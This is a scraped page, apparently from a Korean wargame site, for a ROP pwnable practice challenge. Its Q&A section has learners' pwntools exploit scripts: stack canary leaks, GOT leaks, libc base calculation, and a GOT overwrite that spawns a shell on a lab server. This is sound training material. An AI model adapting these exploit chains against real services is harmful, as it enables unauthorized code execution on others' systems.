학습
워게임
CTF
커뮤니티
랭킹
스토어
커리어
로그인
|
기업 서비스
Home
학습
워게임
CTF
커뮤니티
랭킹
기업 서비스로 이동하기 >
LEVEL 2
rop
pwnable
4622
2072
2021.12.08. 16:22:16
로그인 하고 문제 풀기
문제 정보
풀이
88
난이도 투표
157
질문
67
최근 풀이자
2072
댓글
44
문제 설명
Description
Exploit Tech: Return Oriented Programming에서 실습하는 문제입니다.
문제 수정 내역
2023.04.25: Ubuntu 22.04 환경으로 업데이트하였습니다.
Translate
난이도 투표
157
문제 풀이를 완료한 후에 피드백을 제출할 수 있습니다.
투표 결과
전체 투표 로그
1 / 32
퍼스트블러드
대표 업적 없음
LEVEL 2에 투표했습니다.
17시간 전
CART
대표 업적 없음
LEVEL 3에 투표했습니다.
5일 전
Allan
대표 업적 없음
LEVEL 4에 투표했습니다.
11일 전
lazyming
대표 업적 없음
LEVEL 3에 투표했습니다.
13일 전
gerald
대표 업적 없음
LEVEL 3에 투표했습니다.
15일 전
질문
67
문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
Exploit 코드 질
payload = b'A'0x38 + p64(cnry) + b'B'0x8 write(1, read_got, ...) payload += p64(pop_rdi) + p64(1) payload += p64(pop_rsi_r15) + p64(read_got) + p64(ret) payload += p64(write_plt) read(0, read_got, ...) read_got 입력 payload += p64(pop_rdi) + p64(0) payload += p64(pop_rsi_r15) + p64(read_got) payload += p64(read_plt) read("/bin/sh") == system("/bin/sh") payload += p64(pop_rdi) payload += p64(read_got + 0x8) payload += p64(ret) payload += p64(read_plt) print(4) p.sendafter(b'Buf: ', payload) read = u64(p.recvn(6) + b'\x00'*2) lb = read - libc.symbols['read'] system = lb + libc.symbols['system'] slog('read', read) slog('libc_base', lb) slog('system', system) p.send(p64(system) + b'/bin/sh\x00') 쉘 획득을 못합니다. libc의 경우, 공격코드의 이전에 got를 출력해서 libc-database에서 다운로드 받아서, e = ELF('file')을 해서 문제가 없다고 생각 중이고요 write 진행 시, 0x10 정렬로 인해서 p.sendafter 실행이 안되길래, p64(ret)를 하나 추가했더니 진행되었습니다. 뒤에 코드에서도 0x10 정렬 문제인가 싶어서, 2번의 read의 경우의 수를 가지고 p64(ret)을 추가하고 삭제해도 안되네요. 다른 원인이 있을까요?
댕댕180
답변
2
추천
0
2년 전
마지막 payload 질문
p.sendafter("Buf: ", payload_2) base = u64(p.recv(6) +b'\x00\x00') - libc.symbols['read'] slog("base", base) system = base + libc.symbols['system'] binsh = base + list(libc.search(b'/bin/sh'))[0] slog("system", system) slog("binsh", binsh) payload_3 = b"A"*56 payload_3 += p64(cnry) payload_3 += b"B"*8 payload_3 += p64(pop_rdi) payload_3 += p64(read_got) payload_3 += p64(puts_plt) payload_3 += p64(pop_rdi) payload_3 += p64(binsh) payload_3 += p64(system) time.sleep(1) p.sendafter("Buf: ", payload_3) 필요한 정보를 다 leak 한 후에 main을 다시 호출해서 마지막 payload_3을 호출했습니다. 마지막 payload부분이 도저히 안 돼서 참고하여 풀었는데, p64(pop_rdi) + p64(read_got) + p64(puts_plt)의 역할이 뭔지 모르겠습니다.. read_got를 인자로 puts_plt를 마지막에 호출해주는 이유가 없는 거 같은데 호출해주는 이유가 뭔가요?
Fackuking
답변
1
추천
0
1년 전
remote 동작이 맞는건가요??
로컬에서 rop 실행하면 [1] Leak Canary Buf: 이렇게 시작됩니다. 서버 생성해서 접속하면 아무것도 안나옵니다. $nc host3.dreamhack.games 22933 서버가 정상인가요? 로컬처럼 문자열 출력되어야 할 것 같은데..
Erny
답변
1
추천
0
1년 전
도저히 모르겠습니다 rop 설계는 잘 된 것 같은데...
1 from pwn import * 2 p = process('./rop') 3 #p = remote('host3.dreamhack.games', 14477) 4 context.arch = 'amd64' 5 6 libc = ELF("./libc.so.6") 7 e = ELF('./rop') 8 9 #data of table info 10 read_system = libc.symbols["read"] - libc.symbols["system"] # system function offset 11 read_got = e.got['read'] 12 puts_plt = e.plt['puts'] 13 read_plt = e.plt['read'] 14 write_plt = e.plt['write'] 15 16 ret = 0x0000000000400596 # ret 17 pop_rsi = 0x0000000000400851 # pop rsi; pop r15; ret 18 pop_rdi = 0x0000000000400853 # pop rdi; ret 19 20 #canary leak 21 payload = b'A' * 0x39 22 p.sendafter(b'Buf: ', payload) 23 p.recvuntil(payload) 24 canary = p.recvn(7) 25 canary = u64(b'\x00' + canary) 26 print(canary) 27 28 payload = b'A'0x38 + p64(canary) + b'B'0x08 # pay of canary 29 30 payload += p64(pop_rdi) 31 payload += p64(read_got) 32 payload += p64(puts_plt) #print read GOT 33 34 payload += p64(pop_rdi) 35 payload += p64(0x00) 36 payload += p64(pop_rsi) 37 payload += p64(read_got) 38 payload += p64(0x00) 39 payload += p64(read_plt) #std input = read_got -> last p.send's input 40 41 payload += p64(pop_rdi) 42 payload += p64(read_got + 0x08) 43 payload += p64(ret) 44 payload += p64(read_plt) # system(/bin/sh) 45 46 p.sendafter(b'Buf: ', payload) 47 48 read = u64(p.recvn(6) + b'\x00' * 0x02) 49 libc_base = read - libc.symbols['read'] 50 system = libc_base + libc.symbols['system'] 51 52 print(b'read', read) 53 print(b'base', libc_base) 54 print(b'system', system) 55 56 p.send(p64(system) + b'/bin/sh\x00') # standard input 57 p.interactive() 현재 이렇게 작성을 하였습니다 그런데 SIGSEGV가 뜰 때도 있고, SIGILL가 뜰 때도 있습니다 readGOT 출력 자체는 문제없이 되는 것 같습니다. 사용한 libc.so.6은 문제 파일 받을 때 같이 온 것을 사용했습니다.
엄마나커서랄로가될래요
답변
1
추천
0
2년 전
payload가 안 들어갑니다..
image.png image.png 서버 libc 버전 알기 위해 익스 먼저 짜고 보냈는데 sendafter 에 문제가 있는 거 같습니다. 다른 문제 카나리 구할 때는 문제없었는데 문제가 뭘 까요..?
oog
답변
1
추천
0
3년 전
read 함수를 system 함수로 덮는다는 의미
read("/bin/sh") == system("/bin/sh") payload += p64(pop_rdi) payload += p64(read_got+0x8) payload += p64(read_plt) p.sendafter("Buf: ", payload) p.send(p64(system)+b"/bin/sh\x00") 잘 이해가 안가서 질문 드립니다. 그러면 read_got + 0x8 이 b"/bin/sh\x00" 문자열로 덮이고, read_plt가 p64(system) 으로 덮인다는 의미로 해석했는데, p.sendafter 에서 payload를 날리고 난 후에 p.send를 통해 덮이게 되는 건가요? 왜 덮이게 되는건지 이해가 잘 안갑니다
cccclllllhhhhnn
답변
2
추천
0
3년 전
실습 문제에서 read got 주소가 6byte인 이유
read = u64(p.recvn(6)+b"\x00"*2) 위와 같이 6바이트만 받도록 되어있고 뒤에 \x00을 2 byte로 붙여 8byte로 만드는데, 읽어들인 read got주소가 6byte인 이유가 무엇인가요?
anous
답변
1
추천
0
3년 전
pwntools에서 send와 sendafter 함수의 차이가 뭔지 모르겠어요
익스코드 다 짜고 플래그도 얻었습니다. 근데 마지막 페이로드 보낼 때가 문제입니다. send 함수로 보낼 때는 EOF가 발생하고 sendafter 함수로 보낼 때는 정상적으로 쉘을 얻을 수 있었습니다. 앞에 "Buf : " 라는 문자열이 있긴 했지만 카나리릭 할 때는 아무 문제 없이 릭이 됐어요. 근데 왜 마지막에서 이런 차이가 발생하나요?
ehdus
답변
1
추천
0
3년 전
서버의 libc 버전을 어떻게 알아낼 수 있나요
from pwn import * def slog(name, addr): return success(": ".join([name, hex(addr)])) #context.log_level ='DEBUG' #p = process("./rop") p = remote("host3.dreamhack.games",16271) e = ELF("./rop") #libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") r = ROP(e) [1] Leak Canary buf = b'A'*57 p.sendafter("Buf: ", buf) p.recvuntil(buf) canary = u64(b'\x00'+p.recvn(7)) slog("Canary", canary) [2] Exploit read_plt = e.plt['read'] read_got = e.got['read'] puts_plt = e.plt['puts'] pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0] pop_rsi_r15 = r.find_gadget(['pop rsi', 'pop r15', 'ret'])[0] payload = b'A'56 + p64(canary) + b'B'8 slog("pop_rdi", pop_rdi) slog("pop_rsi_r15", pop_rsi_r15) slog("read_plt", read_plt) slog("read_got", read_got) slog("puts_plt", puts_plt) puts(read@got) payload += p64(pop_rdi) + p64(read_got) # puts(read@got) payload += p64(puts_plt) # puts(read@got) 호출 read(0, read@got, 0) => read@got -> system payload += p64(pop_rdi) + p64(0) # read(0, , ) payload += p64(pop_rsi_r15) + p64(read_got) + p64(0) # read(0, read@got, 0) payload += p64(read_plt) # read(0, read@got, 0) 호출 read("/bin/sh") => system("/bin/sh") payload += p64(pop_rdi) payload += p64(read_got+0x8) # read 함수의 첫번째 인자 값 ("/bin/sh") payload += p64(read_plt) # read("/bin/sh") 호출 p.sendafter("Buf: ", payload) # puts()와 read got를 이용해서 read() 주소 출력 read = u64(p.recvn(6)+b'\x00'*2) # 화면에 출력된 read() 주소를 read에 대입 lb = read - libc.symbols["read"] # libc base = read 주소 - read symbols system = lb + libc.symbols["system"] # system = libc base + system symbols slog("read", read) slog("libc_base", lb) slog("system", system) p.send(p64(system)+b"/bin/sh\x00") p.interactive() local에서는 잘 동작했습니다. 서버에서는 library버전을 p = remote("host3.dreamhack.games",16271) e = ELF("./rop") libc = ELF("./libc.so.6") #libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") r = ROP(e) 올려주신 집파일에 있던 ./libc.so.6 과 /lib/x86_64-linux-gnu/libc-2.27.so를 모두 사용해봤는데 EOF에러가 나네요.. 이유를 도저히 모르겠습니다. ㅠ [*] '/home/coco/work/aslr_nx/rop_practice/rop' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/home/coco/work/aslr_nx/rop_practice/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] Loaded 14 cached gadgets for './rop' [+] Canary: 0xe53bfac3cac88600 [+] pop_rdi: 0x400853 [+] pop_rsi_r15: 0x400851 [+] read_plt: 0x4005f0 [+] read_got: 0x601038 [+] puts_plt: 0x4005b0 [+] read: 0x7fefbaa11980 [+] libc_base: 0x7fefba8fd000 [+] system: 0x7fefba94dd60 [*] Switching to interactive mode [*] Got EOF while reading in interactive $ ls $ ls [*] Closed connection to host3.dreamhack.games port 16271 [*] Got EOF while sending in interactive payload += p64(pop_rdi) payload += p64(read_got+0x8) # read 함수의 첫번째 인자 값 ("/bin/sh") payload += p64(ret) payload += p64(read_plt) ret을 추가 해도 동일합니다.. 로컬에서는 돌아가는데요.. 도와주세요.. ㅠㅠ libc_base: 0x7fefba8fd000 libc 베이스 주소가 000으로 나오는 걸 보면 집파일의 libc.so.6 을 사용하는건 맞는 거 같은데 혹시 rdx값이 0이 되어서 그런가요? 스택 어라인 문제도 아닌것 같은데요... 질문을 정리하면 서버의 libc 버전은 어떻게 구할 수 있나요 --> libc 버전 문제라면 어떻게 해결할 수 있나요.. 올라온 libc사이트는 더이상 연결 안되던데요.. 서버 버전이 22.x라면 rdx가 0 이 되어 문제가 일어난 것인지요 --> Return-to-csu 기법으로 해결해야 하나요. 서버 바이너리를 로컬 gdb에 붙일 수는 없지요?
lattekim33
답변
3
추천
0
2년 전
read 함수 주소 구하는 방법에 대해 질문 드립니다
함께실습 강의에서 read 함수 주소를 읽기 위해 write 함수를 호출한 방법은 이해했습니다. 저는 처음에 pwntools의 ELF.read 함수를 통해 특정 주소에 저장된 값을 읽어 오는 방법을 시도해보았는데, 이 방법이 실패하는 이유는 무엇인가요? 예시로 아래와 같은 코드를 작성하면 read 함수가 호출된 이후에 GOT 주소에 저장된 값을 출력하는데도 read 함수의 실제 주소가 안 나오고 처음에 GOT 영역에 저장되어있던 임의의 주소(0x4005f6)가 출력됩니다. 요약하자면 ELF.read 함수를 통해 GOT 주소에 저장된 함수 주소를 읽을 수 없는 이유가 궁금합니다. from pwn import * p = process('./rop') e = ELF('./rop') canary leak buf = b'A'*39 p.sendafter(b'Buf: ', buf) p.recvuntil(buf) canary = b'\x00'+p.recv(7) p.recvuntil(b'Buf: ') addr = hex(u64(e.read((e.got['read']), 8))) print(addr)
santa6
답변
2
추천
0
2년 전
«
‹
1
2
3
4
5
›
»
LEVEL 2
rop
pwnable
4622
2072
2021.12.08. 16:22:16
로그인 하고 문제 풀기
출제자 정보
Dreamhack
대표 업적 없음
Dreamhack official account
First Blood!
Sechack
2024 Invitational Contenders
출제된 지
4시간
만에 풀이 완료!
최근 풀이자
2072
j_tae
대표 업적 없음
15시간 전
퍼스트블러드
대표 업적 없음
17시간 전
흐흐흐하하핳
대표 업적 없음
2일 전
doo
대표 업적 없음
4일 전
ssku31337
대표 업적 없음
5일 전
CART
대표 업적 없음
5일 전
cloudJ
대표 업적 없음
7일 전
si22
대표 업적 없음
10일 전
Allan
대표 업적 없음
11일 전
werlie
대표 업적 없음
13일 전
«
‹
1
2
3
4
5
›
»
댓글
44
Lambda_
비기너즈 입문
23일 전
libc.so.6 버전 주의하세요..
Translate
mih0c
시스템 해킹 중급자
1개월 전
매우 쉬운
Translate
yrudwls
대표 업적 없음
5개월 전
local에서 잘되는데 server에서 안되시는 분들 libc.so.6 ELF로 읽어오실 때 경로설정 ./libc.so.6 로 하니깐 되네요
Translate
Ma_Mu0228
묘목
9개월 전
이상하게 서버에서 제공하는 libc.so.6을 써도 segmentation fault가 뜨는 경우가 있습니다. 어느정도 맞다 생각이 들면 서버 대상으로 해보세요, 아니면 서버에서 주는 Dockerfile에서 vim, python3, python3-pip 설치와 pip3 install pwntools 설치 이후 chmod 775 /home/$user로 권한 변경을 추가하고 만든 컨테이너에서 해보세요.
Translate
곰탕곰탕
대표 업적 없음
11개월 전
멍청하게 libc에서 rop 구해서 했네. 아오
Translate
mntly
사이보그
1년 전
정렬......
Translate
MerryQ
컴퍼니
1년 전
아. libc 파일로 제공하네
Translate
댕댕180
사이보그
2년 전
Good.\
Translate
스카이넷
워게임 고인물
2년 전
ez
Translate
catpwn
대표 업적 없음
2년 전
재밌네
Translate
«
‹
1
2
3
4
5
›
»
댓글 44